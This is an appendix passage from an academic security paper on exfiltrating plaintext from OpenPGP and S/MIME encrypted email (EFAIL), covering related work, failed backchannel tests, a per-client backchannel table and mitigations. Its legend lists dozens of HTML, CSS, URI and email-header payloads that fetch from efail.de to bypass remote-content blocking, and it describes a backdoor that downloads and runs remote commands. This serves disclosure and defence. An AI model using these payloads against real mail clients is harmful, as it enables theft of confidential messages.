l, do n

ot pu

blish

!

CBC malleability against a Ubuntu 12.04 installation thatis encrypted using luks [40] with CBC. The attack ex-ploits the fact that the plaintext of a fresh Ubuntu instal-lation is known and that the attacker thus knows betweenhundreds of megabytes up to several gigabytes of plain-text, depending on the installation. Specifically, he ob-serves that Ubuntu’s standard shell dash is written to discearly during the installation, which makes the location ofthe binary predictable. The author then exchanges dash’smachine code with a backdoor. It downloads commandsfrom a web server, executes them and calls the bash shellto make the attack stealthy as the system boots up nor-mally. His exploit used the jmp assembler instruction tojump over the adjacent random block into the next blockcontaining the backdoor’s machine code. Our cryptogadget attack extends this attack as it enables the attackerto create malicious plaintexts of arbitrary lengths whileonly knowing up to one plaintext block, i.e. 16 bytes forAES.17

An attack very similar to Lell’s was described in 2016in the Owncloud server side encryption module [41].

In 2017 Cure53 analyzed the security of Enig-mail [42]. The report shows that surreptitious forwardingis still possible or that it is possible to spoof OpenPGPsignatures. No plaintext exfiltration attacks have beenconsidered.

D Unsuccessful backchannel tests

We pursued further tests which were not successful butare documented here for the sake of completeness.

Spam datasets. We checked whether spammers may al-ready be aware of bypasses for remote content block-ing in email clients and analyzed two large spamdatasets18,19 containing over ten millions of spam emailsaltogether ranging from 1997 to 2018. However, wefound that spammers do not use or are not aware of by-passes for content blocking as they only included straightforward external images, a well-known technique totrace if an email is actually read.

Generic email headers. There are various standard-ized and proprietary email headers20 which allow to in-clude URIs. Furthermore, we used various public emaildatasets to compile a list of 9,400 mail headers whichcontain URLs. We tested those headers against all emailclients, but none triggered with the exception of externalattachments mentioned in subsection 6.4

17Depending on the scenario, knowing less than one full plaintextblock can also be sufficient for the attacker. It simply results in a largerblock of random data.

18http://untroubled.org/spam/19http://artinvoice.hu/spams/20https://www.iana.org/assignments/message-

headers/message-headers.xhtml

Anti-spoofing headers. We also included email headersto fight spam (SPF, DKIM), however the triggered DNSrequests at the MTA level, not when mail was opened inthe MUA. It is however noteworthy that two email clientsperformed a DNS lookups for the hostname part of thesender email address at the time the mail was opened.While definitely is a privacy issue, we cannot use it tofor exfiltration because the DNS request was no longertriggered for From: header within the encrypted part ofthe message.

Message disposition notification. We identified sevenstandardized and proprietary email headers to request aconfirmation mail attesting that the message has beenread. Two mail clients automatically send confirmationemails which has a privacy impact but cannot be usedas an exfiltration channel because the mail was not trig-gered if the message disposition notification header waswithin the encrypted part. All other clients do not sup-port the feature or explicitly ask the user before sendinga message disposition notifications.

File preview. Some email clients try to generate a pre-view for attached files. We prepared specially-craftedPDF, SVG, vCard and vCalendar files which contain hy-perlinks, trigger a connection or execute JavaScript whenopened. However in the previewed version none of theseactions was taken for any of the tested clients.

E Backchannel analysis

This section presents the table summarizing our resultson backchannels im email clients.

F Further Mitigations

Authenticated encryption (AE). Our attack would beprevented if the sender detects changes in the ciphertextduring decryption and prevents it from being displayed.On a first thought, making an AE block cipher such asAES-GCM the default, would prevent the attack.

Although CMS defines an AuthenticatedData type[46], S/MIME’s current specification does not. Therewere efforts to introduce authenticated encryption inOpenPGP which is, however, expired [47].

Solving backwards compatibility problems. In a back-wards compatibility attack an attacker takes a secure au-thenticated ciphertext (e.g., AES-GCM) and forces thereceiver to use a weak encryption method (e.g., AES-CBC) [48]. To prevent these attacks, usage of differentkeys for different cryptographic primitives has to be en-forced. For example, the decrypted key can be used as aninput into a key derivation function KDF together withthe algorithm string. This would enforce different keysfor different algorithms:

18

Confid

entia

l, do n

ot pu

blish

!

Support BackchannelsS/MIME PGP Email HTML/CSS/JS PKI

native H15 P1 I1 I2 I3native P1 I2 I3native I2 I3native I2 I3n/a + H1 H6 H11native +native H17 I1 I2native E1native P3 I2native E3 J3 I1 I2native H13 H16 P2 J1n/a *n/a E1 H14 P2

Linux native Enigmail H2 I2native H3native H3 I3native I3plugin I3

Thunderbird (52.5.2)

native I3native E2 + I1 I2 I3native H3 I1 I2 I3plugin + H10 H11 H14native + I1n/a E4 +n/a *n/anative H10 J2Flipdog H4 H5 H14 H15 J2native K2 H4 H5 H14 H15 J1n/a + K1 C4 C7 C8 C9n/a K1 C9n/an/a H3 H4 H12 H14 H15 C1native H8 C5 C12 C15 I3native +native +n/a +n/a C5 C11n/a +n/a *n/a H9 C12 P1 P4

Webapp native H7 C4plugin H4 C2 C10 C13 C14 C16n/a C2 C13 C14n/a #

Groupware native I1 I2native H9 C3 C5 C11 C12native I4

Table 4: Backchannels for various email clients

• kAES−CBC = KDF(k,”AES−CBC”)

• kAES−GCM = KDF(k,”AES−GCM”)

Although an email client could use S/MIMEs capabil-ities list to promote more secure ciphers in every signa-ture, an attacker can still forward emails she obtained inthe past. The email client may then (a) process the oldemail and stay susceptible to exfiltration attacks or (2) do

not process the email and break downgrade compatibil-ity.

F.1 Message Modification Code inOpenPGP

OpenPGP uses modification detection codes by defaultto detect modifications of the plaintext. However, theOpenPGP standard only vaguely states that any fail-

19

Confid

entia

l, do n

ot pu

blish

!

Legend+ Remote images are loaded by default but this can be deactivated* Remote images are loaded by default and it cannot be deactivated# Remote images are loaded through prefetching in modern browsers

PKI requestsI1 Request for intermediate S/MIME certificate are performed to an attacker-controlled URII2 OCSP requests to a fixed CA URL are performed for valid/trusted S/MIME signed emailsI3 CRL requests to a fixed CA URL are performed for valid/trusted S/MIME signed emailsI4 HKP requests to keyserver are performed to retrieve public keys for PGP signed emails

Encrypted emailsK1 Remote images are loaded automatically if the mail is PGP/MIME encryptedK2 Remote images are loaded automatically if the mail is S/MIME encrypted

HTML attributes (bypasses for remote content blocking)H1 <html manifest="http://efail.de"></html>H2 <link href="http://efail.de" rel="preconnect">H3 <meta http-equiv="x-dns-prefetch-control" content="on"><a href="http://efail.de"></a>H4 <meta http-equiv="refresh" content="1; url=http://efail.de">H5 <base href="http://efail.de"><img src="x.png">H6 <img lowsrc="http://efail.de">H7 <image src="http://efail.de">H8 <svg><image href="http://efail.de"/></svg>H9 <input type="image" src="http://efail.de"/>H10 <audio src="http://efail.de">H11 <video src="http://efail.de">H12 <video poster="http://efail.de">H13 <script src="http://efail.de">H14 <embed src="http://efail.de"></embed>H15 <object data="http://efail.de"></object>H16 <object codebase="http://efail.de"></object>H17 <p style="background-image:url(1)"></p><object><embed src="http://efail.de">

CSS properties (bypasses for remote content blocking)C1 <style>@import url(’http://efail.de’);</style>C2 <style>body {shape-outside: url(http://efail.de);}</style>C3 <style>body {background-image: url(’http://efail.de’);}</style>C4 <style>body {background-image: \75 \72 \6C (’http://efail.de’);}</style>C5 <div style="background-image: url(’http://efail.de’)">C6 <h1 style="background-image: -moz-image-rect(url(’http://efail.de’),85%,5%,5%,5%)">C7 <style>body {background: #aaa url(’http://efail.de’);}</style>C8 <div style="background: #aaa url(’http://efail.de’)">C9 <style>ul {list-style: url(’http://efail.de’);}</style><ul><li>item</li></ul>C10 <ul style="list-style: url(’http://efail.de’);">C11 <style>ul {list-style-image: url(’http://efail.de’);}</style><ul><li>item</li></ul>C12 <ul style="list-style-image: url(’http://efail.de’)">C13 <div style="border-image: url(’http://efail.de’);">C14 <div style="border-image-source: url(’http://efail.de’);">C15 <div style="cursor: url(’http://efail.de’) 5 5, auto;">C16 <svg><rect cursor="url(http://efail.de),auto"/></svg>

URI schemes (bypasses for remote content blocking)P1 <img src="//efail.de">P2 <img src="file://efail.de">P3 <img src="news://efail.de">P4 <img src="ftp://efail.de">

JavaScript (bypass remote content blocking)J1 <script>...</script>J2 <object data="javascript:..."></object>J2 <svg><style>’<body/onload="..."><?/script>

Email headersE1 X-Confirm-Reading-To: user@efail.deE2 Remote-Attachment-Url: http://efail.deE3 From: user@efail.de (HTTP request for favicon)E4 From: user@efail.de (DNS request to hostname)

ures in the MDC check “MUST be treated as a security problem” and “SHOULD be reported to the user” [27].

20

Confid

entia

l, do n

ot pu

blish

!

From this perspective, the security vulnerabilities ob-served in GnuPG and Enigmail are standard-conforming,as GnuPG returns an error code and prints out a specificerror message.

But as it still outputs the plaintext, clients like Enig-mail must examine and interpret the error message andretain the plaintext data from the email client as long asthe MDC was not verified. Our experiments show thatdifferent clients deal differently with these failures (seeTable 3). While some decide to show the possibly ma-nipulated plaintext anyway, others decide to just put outa warning without showing the plaintext. Possibly ei-ther the text output when the MDC check fails should beremoved or a stricter handling of these errors should bedefined.Streaming-based decryption. OpenPGP uses stream-ing, i.e. it passes on plaintext parts during decryption ifthe ciphertext is large. This feature collides with our re-quest for AE ciphers because most AE ciphers also sup-port streaming. In the event that the ciphertext was mod-ified, it will pass on already decrypted plaintext, alongwith an error code at the end. If these plaintext parts areinterpreted, exfiltration channels may arise despite usingan AE ciphers. We think it is safe to turn off streamingin the email context because the size of email ciphertextsis limited and can be handled by modern computers.

F.2 Same origin policy for emailUsage of authenticated encryption alone does not com-pletely solve our attacks from subsection 3.1. We showedthat the complexity of HTML, CSS and MIME makes itpossible to mix encrypted and plaintext contents. If anexfiltration channel is available, this can lead to directleaks of decrypted plaintexts, independently of whetherauthenticated encryption scheme is used or not.

In web scenarios, a typical protection against thesekinds of attacks is same origin policy [49]. Similar pro-tection mechanisms should be applied in email scenariosas well. These should enforce that email parts with dif-ferent security properties are not combined.

However, this mitigation is hard to enforce in everyscenario. For example, email gateways typically usedin companies process encrypted emails and forward theplain data to email clients used by the employees. Emailclients have no knowledge whether the original messagewas encrypted or not.

21

Confid

entia

l, do n

ot pu

blish

!